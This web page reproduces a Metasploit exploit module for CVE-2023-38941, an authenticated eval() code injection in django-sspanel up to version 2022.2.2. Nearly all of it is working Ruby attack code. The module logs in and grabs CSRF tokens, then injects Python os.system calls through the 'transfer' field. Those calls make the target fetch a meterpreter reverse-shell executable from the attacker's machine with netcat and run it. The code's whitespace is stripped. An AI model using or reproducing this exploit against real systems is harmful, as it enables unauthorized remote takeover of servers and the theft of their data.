Home
CVE-2023-38941 Django SSPanel good_create RCE
Page
CVE-2023-38941 Django SSPanel good_create RCE
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework### This payload is configured for:# msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf## This exploit is for django-sspanel <= 2022.2.2 CVE-2023-38941## We're using an authenticated page to abuse an unsanitized eval() in the# function that controls the transfer key's value. When that value is called# we can use the value as python code. To get here we need to log in and# grab two csrfmiddleware tokens, and keep a viable cookie jar. Once logged# in, we push our python code, drop a shell with netcat, and boom. This was# tested on django-sspanel 2022.2.2, but should work on earlier versions.## -- Marshall / oxagast# oxagast@oxasploits.com## rev. 5## Exploit cleanup can be done with the following resource script, so# rename cleanup.rc and once in the meterpreter shell, just call:# resource /tmp/cleanup.rc## execute -f /bin/rm -a "/tmp/shell*"# sysinfo# getuid#require"nokogiri"require"msf/core"require"socket"$stdout.sync=true$csrftoken=""classMetasploit3<Msf::Exploit::RemoteRank=GoodRankingincludeMsf::Exploit::Remote::HttpClientdefinitialize(info={})super(update_info(info,"Name"=>"Authenticated abuse of unsanitized eval() in django-sspanel <= 2022.2.2 leads to RCE","Description"=>%q{
This vulnerabilitly exists in an unsanitized eval() function, within the my_admin/good_create/ or in
the code as apps/sspanel/admin_views.py on line 221. This allows us to inject arbitrary python code
(one line only). To do this we have to be authenticated, so we must use our cookie jar, as well as
use two different methods of grabbing the csrfmiddlewaretoken as it is presented two completely
different ways. Once logged in, we navigate from login to the home page, and then to good_create,
were the code injection becomes trivial by modifying the "transfer" key's value.
},"Author"=>["Marshall Whittaker",# oxagast],"License"=>MSF_LICENSE,"Platform"=>"linux","Arch"=>[ARCH_X86],"CmdStagerFlavor"=>["printf"],"References"=>[["URL","https://github.com/Ehco1996/django-sspanel"],["URL","https://github.com/Ehco1996/django-sspanel/blob/master/apps/sspanel/admin_views.py#L209-L226"],["CVE","CVE-2023-38941"],["CWE","77"],],"Targets"=>[["django-sspanel <= 2022.2.2",{"Privileged"=>true}],],"DefaultOptions"=>{"PAYLOAD"=>"linux/x86/meterpreter_reverse_tcp",# lets use a x86 meterpreter rev (others may work)},"Payload"=>{"Format"=>"elf",# we need a whole executable for this, we use elf on linux"Platform"=>"unix",},"Notes"=>{"Stability"=>[CRASH_SAFE],"Reliability"=>[REPEATABLE_SESSION],"SideEffects"=>[ARTIFACTS_ON_DISK,IOC_IN_LOGS],},"DisclosureDate"=>"2023-8-3","DefaultTarget"=>0))register_options([Opt::RPORT(8000),OptString.new("RHOST",[true,"The target machine's IP",""]),OptString.new("USER",[true,"The user to auth as",""]),OptString.new("PASS",[true,"The user's password",""]),OptString.new("LHOST",[true,"This machine's IP",""]),OptInt.new("LSERVPORT",[true,"The port to listen on for pushing the payload",6789]),],self.class)register_advanced_options([OptBool.new("HANDLER",[true,"Start an exploit/multi/handler job to receive the connection",true]),])deregister_options("VHOST","Proxies","RHOSTS","SSL")enddeflisten(payl,lsp)print_status("Starting payload push socket...")serv=TCPServer.new("#{lsp}")s=serv.accepts.write("#{payl}")s.closeenddeflogin(user,pass)res=send_request_raw("uri"=>"/login/","method"=>"GET","keep_cookies"=>true,"ctype"=>"text/html",)# csrf middlewear token looks like# name="csrfmiddlewaretoken" value="kfv4bSXx0IdfKXNS8EDElYO96YJp1kZVI4ETh49Tjqdq6yw7uxkhRyHLnH0LNSr5">fail_with(Failure::UnexpectedReply,"We got an unexpected reply from the server, usually this is a failure connecting to the host.")unlessresifres.body.match("sspanel")print_good("Good, this looks like django-sspanel")elseprint_bad("Oof. This doesn't look like django-sspanel! Trying anyway...")endcook=res.get_cookiesdoc=Nokogiri::HTML(res.body)doc.xpath("//form/input[@name='csrfmiddlewaretoken']").eachdo|elements|$csrftoken=elements.values[2]endif$csrftoken.length==64print_good("Found a good CSRF Middleware Token! #{$csrftoken}")urlencd=URI::Parser.new.escape("csrfmiddlewaretoken=#{$csrftoken}&username=#{user}&password=#{pass}")res=send_request_raw("uri"=>"/login/","method"=>"POST","ctype"=>"application/x-www-form-urlencoded","cookie"=>"#{cook}","data"=>"#{urlencd}",)fail_with(Failure::UnexpectedReply,"We got an unexpected reply from the server, usually this is a failure connecting to the host.")unlessresifres.get_cookies.match("__json_message")print_good("Login cookie looks good.")return(res.get_cookies)elsefail_with(Failure::NoAccess,"We connected, but didn't get a good __json_message cookie. Maybe a bad username or password was supplied?")endendfail_with(Failure::UnexpectedReply,"We connected, but our csrfmiddlewaretoken response doesn't look right. Is this the right type of server?")enddefinjectpy(logincookie,lhst,lsprt)res=send_request_raw("uri"=>"/users/userinfo/","method"=>"GET","cookie"=>logincookie,"ctype"=>"text/html",)$csrftoken=""print_status("Configuring Payload...")bdy=res.bodycleanbody=bdy.tr("\n","")csrft=cleanbody.match(/csrfmiddlewaretoken: '([A-Za-z0-9]*)',/)$csrftoken=csrft[1]if$csrftoken.length==64unlesscleanbody.match(/var box/)print_bad("Warning: This looks like a patched version! Exploit may fail.")endprint_good("Found a good CSRF Middleware Token! #{$csrftoken}")print_status("Loading up stager...")pay=framework.modules.create(datastore["payload"])pay.datastore["LHOST"]=datastore["LHOST"]pay.datastore["RHOST"]=datastore["RHOST"]pay.datastore["LPORT"]=datastore["LPORT"]print_status("Generating payload...")payl=pay.generate_simple({"Format"=>"elf"})ifpayl==""fail_with(Failure::PayloadFailed,"Payload generation failed! Try a different payload?")endprint_good("Payload generated!")Thread.newdolisten(payl,lsprt)endtargexe="/tmp/shell"+rand(2000).to_scmds=["nc #{lhst}#{lsprt} > #{targexe}","chmod 777 #{targexe}","pkill nc","#{targexe}"]print_status("They rally 'round the family. With a pocket full of shells...")cmds.eachdo|i|paylc="__import__('os').system(\"#{i}\")"# post data ->> csrfmiddlewaretoken=PrE2KJWEPzc45mc722x0KQ5GAgPCaTGnM8W8jtPlX9wENBYPYg2tdAeNcff3Y7C3&name=cde&content=dsklfjdlkj&transfer=0&money=10.00&level=1&days=1&status=1&order=1&user_purchase_count=2postdat=URI::Parser.new.escape("csrfmiddlewaretoken=#{$csrftoken}&name=a&content=b&transfer=#{paylc}&money=10.00&level=1&days=1&status=1&order=1&user_purchase_count=1")print_status("Sending #{i}")res=send_request_raw("uri"=>"/my_admin/good_create/","method"=>"POST","ctype"=>"application/x-www-form-urlencoded","cookie"=>logincookie,"data"=>"#{postdat}",)$stdout.ioflushendreturn0endfail_with(Failure::UnexpectedReply,"We got an unexpected reply from the server, usually this is a failure connecting to the host.")unlessresenddefcheck# we pull then check our variablesuser=datastore["USER"]pass=datastore["PASS"]rhst=datastore["RHOST"]rprt=datastore["RPORT"]lhst=datastore["LHOST"]lsprt=datastore["LSERVPORT"]ifuser==""fail_with(Failure::BadConfig,"You need to enter a valid username to grab the authentication token!")endifpass==""fail_with(Failure::BadConfig,"You need to enter a valid password to grab the authentication token!")endifrhst==""||rprt==""||lhst==""||lsprt==""fail_with(Failure::BadConfig,"You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.")endres=send_request_raw("uri"=>"/","method"=>"GET","keep_cookies"=>true,"ctype"=>"text/html",)fail_with(Failure::Unreachable,"Unable to connect to host #{rhst}!")unlessresifres.code==200print_good("Connected to host #{rhst}...")b=res.bodycbody=b.tr("\n","")ifcbody.match(/sspanel/)print_good("Good, this looks like django-sspanel...")elsefail_with(Failure::UnexpectedReply,"This doesn't look like django-sspanel? Try a different server or port.")endelsefail_with(Failure::UnexpectedReply,"We connected but did not get a good return code (returned #{res.code} from the host #{rhst}. Try a different server or port.")endlcookie=login(user,pass)res=send_request_raw("uri"=>"/users/userinfo/","method"=>"GET","cookie"=>lcookie,"ctype"=>"text/html",)ifres.code!=200fail_with(Failure::UnexpectedReply,"We connected, but our http status code was not 200 (returned #{res.code}), this may not be the right type of server...")endbdy=res.bodycleanbody=bdy.tr("\n","")unlesscleanbody.match(/var box/)fail_with(Failure::NotVulnerable,"This version does not contain the box variable. Probably a patched version! Exploit may fail.")elseifcleanbody.match(/sspanel/)print_good("Confirmed we using sspanel and logged in...")ifcleanbody.match(/var box/)print_good("Looking good! This is a heuristic check on the existance of the box variable, which exists. This was removed in subsequent versions.")returnExploit::CheckCode::Appears("Looks like this may be a vulnerable version of django-sspanel.")endendendreturnExploit::CheckCode::Unknown("Something went ary with the check method, you can try exploit, but it may not work properly.")enddefexploit# we pull then check our variablesuser=datastore["USER"]pass=datastore["PASS"]rhst=datastore["RHOST"]rprt=datastore["RPORT"]lhst=datastore["LHOST"]lsprt=datastore["LSERVPORT"]ifuser==""fail_with(Failure::BadConfig,"You need to enter a valid username to grab the authentication token!")endifpass==""fail_with(Failure::BadConfig,"You need to enter a valid password to grab the authentication token!")endifrhst==""||rprt==""||lhst==""||lsprt==""fail_with(Failure::BadConfig,"You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.")end# login routine herelogincookie=login(user,pass)injectpy(logincookie,lhst,lsprt)print_good("Boom. Exploit complete!")# post to my_admin/good_create (transfer key!) <-- vulnendend